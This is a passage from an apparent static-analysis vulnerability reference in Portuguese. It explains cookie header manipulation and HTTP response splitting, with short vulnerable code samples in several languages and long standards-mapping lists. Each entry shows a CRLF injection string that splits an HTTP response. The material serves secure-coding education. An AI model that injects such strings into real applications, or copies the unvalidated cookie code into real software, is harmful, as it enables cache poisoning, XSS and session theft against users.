[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation_cookies
Abstract
A inclusão de dados não validados nos cookies pode levar a Header Manipulation de resposta HTTP e permitir envenenamento de cache, cross-site scripting, desfiguração entre usuários, invasão de página, manipulação de cookie ou Open Redirect.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Assim como ocorre com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, não um fim em si. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques como a Falsificação de Solicitações entre Sites, os invasores podem alterar, acrescentar ou até mesmo sobrescrever os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos servidores de aplicativos modernos de hoje impedem a injeção de caracteres mal-intencionados nos cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


